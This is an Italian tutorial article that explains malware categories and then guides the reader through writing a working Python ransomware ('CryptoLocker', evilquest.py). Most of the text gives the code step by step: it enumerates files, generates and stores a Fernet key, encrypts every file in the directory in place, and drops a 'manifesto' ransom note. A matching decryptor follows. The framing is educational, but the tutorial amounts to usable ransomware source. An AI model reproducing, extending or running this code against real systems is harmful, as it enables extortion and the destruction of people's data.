Al giorno d’oggi, in maniera quasi automatica, ci troviamo ad associare la parola Malware a qualcosa di negativo (dato che ci si riferisce ad essi per indicare i “Virus per Computer”). I latini, con la locuzione “nomen omen”, converrebbero nel dire che il termine stesso è un presagio: difatti “malware” è l’abbreviazione di “malicious software” (Software Malevolo) ed indica un qualsiasi programma informatico usato per alterare, modificare, disturbare le operazioni svolte da un sistema elettronico.
Ma se ci fermassimo per un attimo ad osservarlo, potremmo notare come, in un certo senso, esso sia una forma di espressione, di arte. Qualcuno magari starà storcendo il naso, ma pensate a quanta creatività è necessaria per bypassare molteplici layers di sicurezza o manipolare il sistema su cui il malware dovrà girare. L’autore del malware dovrà trovare mille modi creativi per aggirare gli ostacoli e concretizzare la sua idea, la sua conoscenza dovrà essere profonda e vasta; anche se, quasi certamente, la sua motivazione principale sarà quella di fare soldi. Ma come sostiene anche l’autore di The Art of Malware:
“I malware sono molto simili a batteri e come i batteri causano danni, ma sono organismi viventi che seguono la loro natura. La nostra prospettiva di giusto o sbagliato dipende dalla motivazione che attribuiamo al suo autore, ma se escludiamo la motivazione dell’autore resta solamente qualcosa di incredibile”.
Tipi di Malware
Nella categoria dei Malware rientra qualsiasi forma di codice o programma scritto ed usato per alterare il normale flusso logico delle informazioni.
Ne esistono diversi tipi che si differenziano per:
– Modalità di attacco e diffusione
– Comportamento
– Tipologia di danni prodotti
Alcune categorie di malware prendono il nome dalla loro metodologia di propagazione (es. Virus, Worm e Trojan); altre invece, da quello che fanno (es. Ransomware, Backdoor, spyware, keylogger).
Se dovessimo racchiudere i malware più diffusi ed estrapolarne le loro caratteristiche più importanti, potremmo suddividerli in cinque categorie:
- VIRUS: genera copie di sé stesso con cui infetta file o aree del disco. Richiede almeno un’interazione dell’utente;
- WORM: Malware auto-replicante che sfrutta la rete come mezzo di diffusione. Si propaga senza interazione dell’utente;
- TROJAN: Malware mascherato da software/file lecito ed utile, che nasconde virus o elementi dannosi;
- BACKDOOR: Permette di accedere da remoto ad un pc, prendendone (o riprendendone) il controllo;
- RANSOMWARE: Impedisce l’accesso ad aree del proprio computer, che vengono bloccate tramite criptazione. Per ottenere nuovamente l’accesso, viene richiesto il pagamento di un riscatto.
N.B. E’ importante notare che non tutti i malware rientrano in queste categorie, alcuni possono possedere caratteristiche di tutte o solamente di alcune di queste categorie.
Fase 0 – Intro
Esistono diverse tipologie di malware, con diversi scopi. Quello che creeremo, avrà lo scopo di localizzare i file della vittima e renderli inaccessibili, a meno che non venga fornita una chiave di decriptazione. Questo tipo di malware è fra i più utilizzati e prendere il nome di: CryptoLocker.
Solitamente i cracker utilizzano il CryptoLocker per prendere in ostaggio i file della vittima e renderli inaccessibili. La chiave di decriptazione dei file, in possesso quindi dei CyberCriminali, viene rilasciata solamente in cambio di un pagamento in cripto valuta.
Per creare il nostro malware utilizzeremo il linguaggio di programmazione Python (alla release 3.10.4), scaricabile al seguente indirizzo: https://www.python.org/downloads/
Fase I – La Lista
Gli step che faremo in questa prima fase saranno:
- Cercare i file nella directory
- Aggiungerli ad una lista
- Escludere il/i file che vogliamo criptare
- Stampare il contenuto della lista a video
Come prima cosa, dobbiamo creare i file di prova da criptare, in modo da poter testare passo passo il funzionamento del nostro programma.
Nell’esempio ho creato tre file, tutti con la medesima estensione .txt , presenti all’interno della directory utilizzata per il test:
/home/a1rk/Desktop/malware/1_TheList
Per crearli, utilizziamo il comando echo oppure apriamo un editor di testo ed inseriamo alcune parole o frasi. Successivamente usciamo e salviamo ciascun file.
- 1 File:
echo "Hello HackerJournal" > hj.txt
- 2 File:
echo "Hello thehackingquest.txt" > thehackingquest.txt
- 3 File:
echo "Affrontiamo la nostra quest" > TheQuest.txt
Come sappiamo, il comando echo scrive sullo stantard output: stampa a video ciò che specifichiamo come parametro. Il > ridirige l’output del comando su un file. In questo modo, abbiamo rapidamente creato tre file.
Utilizziamo ora un comando in python che ci permette di listare i file appena creati nella nostra directory: os.listdir
Vediamo come funziona:
- Lanciamo python da terminale, tramite il comando: python
- Una volta avviata l’interfaccia, importiamo la libreria che ci occorre: tramite il comando import os
Infine digitiamo os.listdir() . Il risultato che otterremo sarà la lista dei file che abbiamo generato pocanzi, presenti nella directory corrente
Adesso possiamo passare all’azione, cominciando a scrivere il nostro CryptoLocker.
Per farlo, apriamo un editor di testo (nel mio esempio utilizzo vim). Diamo un nome al nostro malware e lanciamo l’editor: vim evilquest.py
Come prima cosa, specifichiamo la location del nostro “interprete”. Nel nostro caso l’interprete di Python3 si trova al percorso: /usr/bin/python3
L’interprete è quel programma installato sulla macchina che si occupa di interpretare le nostre istruzioni e permette di eseguire il codice scritto.
Abbiamo visto pocanzi che per utilizzare il comando os.listdir() avremo bisogno della libreria che contiene le specifiche su come opera quel determinato comando, quindi importiamo la libreria denominata os (Operating System): import os
Creiamo ora la lista dei nostri file, dichiarandola: files = []
Adesso entriamo nel vivo del nostro programma con un ciclo for, ricordandoci che il nostro scopo finale è quello di criptare tutti i file presenti nella directory.
Quindi, per ogni file presente, eseguiremo alcune operazioni: for file in os.listdir():
Dobbiamo escludere il nostro file contente il malware, che non desideriamo venga criptato.
Se il file ha il seguente nome “evilquest.py”, allora if file == “evilquest.py” passa oltre: continue
Inoltre, essendo il nostro scopo quello di criptare i singoli file, dovremo escludere anche le directory, utilizzando una funzione della nostra libreria che ci permette di effettuare proprio questo check, aggiungendo un altro if os.path.isfile(file):
Adesso aggiungiamo tutti i file presenti nella directory all’interno della nostra lista: files.append(file)
Giunti così al nostro primo checkpoint, stampiamo a video il contenuto della lista: print(files)
Salviamo ed usciamo. Infine lanciamo il nostro script per verificarne il funzionamento.
Assegniamogli i permessi di esecuzione: chmod +x evilquest.py e lanciamolo digitando semplicemente il nome dello script, preceduto dal ./evilquest.py
A questo punto, se non vi sono errori di sintassi all’interno del programma, l’esecuzione dovrà restituirvi a schermo la lista di tutti i file presenti nella directory, escluso il nostro malware: evilquest.py
Fase II – La Chiave
Il metodo di crittografia che utilizzeremo per cifrare i nostri file, sarà di tipologia simmetrica (a chiave privata): una chiave per criptare – una chiave per decriptare.
La tipologia di criptografia si baserà sull’algoritmo Fernet, incluso nella libreria cryptography di python. Utilizzabile attraverso la sintassi:
from cryptography.fernet import Fernet
Quindi, sotto la libreria di os, aggiungeremo anche l’utilizzo di Fernet con la sintassi che abbiamo appena visto. Dobbiamo adesso generare la chiave. Prima di implementarla nel nostro malware, testiamo la generazione della chiave, come abbiamo fatto per la funzione precedente:
- Apriamo python da un altro terminale, digitando l’omonimo comando
- Importiamo la nostra funzione crittografica: from cryptography.fernet import
- Generiamo la nostra chiave simmetrica, assegnando il valore alla variabile “key”: key = Fernet.generate_key()
- Stampiamo a video il contenuto della variabile “key”: print(key)
Adesso, dobbiamo poter archiviare la chiave in modo da decriptare i file successivamente. Il metodo più semplice è scrivere la chiave generando un file che la contenga al suo interno e salvarlo nella directory corrente.
Una volta generata la chiave attraverso il codice key = Fernet.generate_key() ed averla memorizzata nell’omonima variabile, possiamo passare allo step successivo.
Creiamo un file, utilizzando la funzione open , specificando il “nome del file” e la “modalità in cui vogliamo aprire il file.
Nel nostro caso utilizziamo la lettera w per aprire un file in scrittura, se il file non esiste viene creato, mentre se il file presenta del contenuto questo viene sovrascritto; la lettera b per la modalità binaria.
- Generiamo la funzione filechiave: with open (“filechiave”, “wb”) as filechiave
- Copiamo nel file il contenuto della variabile chiave: filechiave.write(key)
Prima di testare le nostre nuove funzioni, ci resta ancora una piccola modifica da fare.
Se il contenuto della cartella corrente viene criptato, verrà criptato anche il nostro file contente la chiave, quindi è necessario aggiungere un’altra eccezione per il nostro “filechiave”: if file == “evilquest.py” or file == “filechiave”:
Salviamo adesso tutte le modifiche fatte e ritestiamo il nostro script. Ciò che ci aspettiamo è che generi un file chiamato filechiave, con all’interno la chiave di decriptazione del nostro ransomware.
Fase III – Criptazione
Arrivati a questo punto, dovremo prendere ciascun file presente nella nostra lista e criptarlo.
Per farlo, implementiamo prima di tutto un altro ciclo for: for file in files:
Apriamo ciascun file in lettura e modalità binaria, associandolo alla funzione Ilfile: with open(file, “rb”) as il file:
Salviamo successivamente tutto il contenuto del file appena aperto in una variabile che chiameremo “contenuto”: contenuto = ilfile.read()
Possiamo ora criptare il contenuto del nostro file utilizzando la chiave Fernet, generata nel seguente modo:
contenuto_criptato = Fernet(key).encrypt(contenuto)
Avendo ormai il contenuto del file criptato nella variabile contenuto_criptato, non ci rimane che mettere il contenuto criptato nel file originale non criptato.
Riapriamo quindi il file non criptato, ma di cui abbiamo appena copiato e criptato il contenuto in una viariabile, in modalità scrittura più binario, come ilfile; with open(file, “wb”) as ilfile e scriviamoci dentro il contenuto della variabile contenuto_criptato (che è la nostra variabile contenente il contenuto criptato) ilfile.write(contenuto_criptato)
Il ciclo for ci assicurerà di non tralasciare nessun file all’interno della cartella.
Bene, passiamo all’azione! Salviamo il nostro codice ed usciamo.
Prima di avviare ancora una volta il nostro script, diamo ancora un’occhiata ai file .txt che al loro interno presentano il contenuto che abbiamo inserito all’inizio, con il comando echo. Avviamo il nostro script: questa volta, quando rifaremo il cat sui file txt, li troveremo tutti puntualmente criptati dal nostro malware.
Fase IV – Decriptazione
Abbiamo il nostro malware che cripta i file. Vediamo adesso di produrre il tool che li decripta!
Come per definizione, la linea fra bene e male è sottile e ne abbiamo la dimostrazione anche nella creazione di questo tool. I due tool infatti si assomigliano tanto da permetterci di copiare il file contente il nostro codice malevolo (nel mio caso goodquest.py).
Una volta copiato, accediamo al nuovo file con l’editor di testo e modifichiamo le seguenti parti:
- Aggiungiamo alle esclusioni il file del nostro tool di decrypt: goodquest.py
- La parte che abbiamo visto nella Fase I è identica, quindi la lasceremo invariata. Avremo sempre bisogno di produrre una lista di tutti i file presenti nella directory, ignorandone alcuni.
- Non avremo più bisogno di generare una chiave di decriptazione perché difatti già l’abbiamo. Dovremo utilizzare la chiave in nostro possesso, che abbiamo salvato nel file filechiave.
- Apriamo il nostro filechiave nella solita modalità lettura più binaria with open(“filechiave”, “rb”) as key: e salviamo in una nuova variabile il contenuto della nostra chiave chiave_decriptazione = key.read()
- Adesso entriamo nel nostro secondo ciclo for. Apriamo e prendiamo il contenuto di ogni file, ma a questo punto, invece di criptare, dovremo decriptare. Procediamo quindi in questo modo:
- Utilizziamo la chiave che abbiamo appena salvato nella variabile “chiave_decriptazione” per decriptare il contenuto dei file (criptati), presente nella variabile “contenuto”. Mettiamo tutto nella variabile contenuto_decriptato:
contenuto_decriptato = Fernet(chiave_decriptazione).decrypt(contenuto) - Apriamo ciascun file in modalità scrittura più binario e mettiamo dentro il contenuto appena decriptato.
ilfile.write(contenuto_decriptato)
- Utilizziamo la chiave che abbiamo appena salvato nella variabile “chiave_decriptazione” per decriptare il contenuto dei file (criptati), presente nella variabile “contenuto”. Mettiamo tutto nella variabile contenuto_decriptato:
Non ci resta che salvare ed uscire. Rilanciando il nostro script avremo i nostri file decriptati!
Fase V – Manifesto
Come ogni buon cryptolocker che si rispetti, dobbiamo inserire il nostro “manifesto” (in molti casi si “traduce come”: il riscatto). Quindi, torniamo sul nostro malware evilquest.py . Dopo aver creato la nostra lista apriamo in modalità scrittura un nuovo file HELLO.txt with open (“HELLO.txt”,”w”) as manifesto e scriviamo al suo interno i nostri obiettivi e intenti. Nel mio caso, inserirò l’Hacking Etiquette del MIT.
manifesto.write(“1. Sta’ attento: la tua sicurezza, la sicurezza degli altri e la sicurezza di chiunque tu stia hackerando non dovrebbero mai essere compromesse.n2. Sii sottile: non lasciare alcuna prova che tu sia mai stato lì.n3. Lascia le cose come le hai trovate, o meglio.n4. Se trovi qualcosa di rotto, chiama F-IXIT [il numero interno per segnalare problemi alle infrastrutture].n5. Non lasciare danni.n6. Non rubare nulla.n7. La forza bruta è l’ultima risorsa degli incompetenti.n8. Non hackerare sotto l’effetto di alcool o droghe.n9. Non far cadere oggetti (da un edificio) senza personale di terra.n10. Non hackerare da solo.10. Sopra ogni cosa, fa’ uso del tuo buon senso.”)
Ovviamente, prima di salvare e uscire, dovremo aggiungere anche il nostro HELLO.txt alla lista dei file che vogliamo escludere dalla criptazione.
Quindi, spostiamoci ancora una volta nel nostro if e aggiungiamo in coda or file == “HELLO.txt”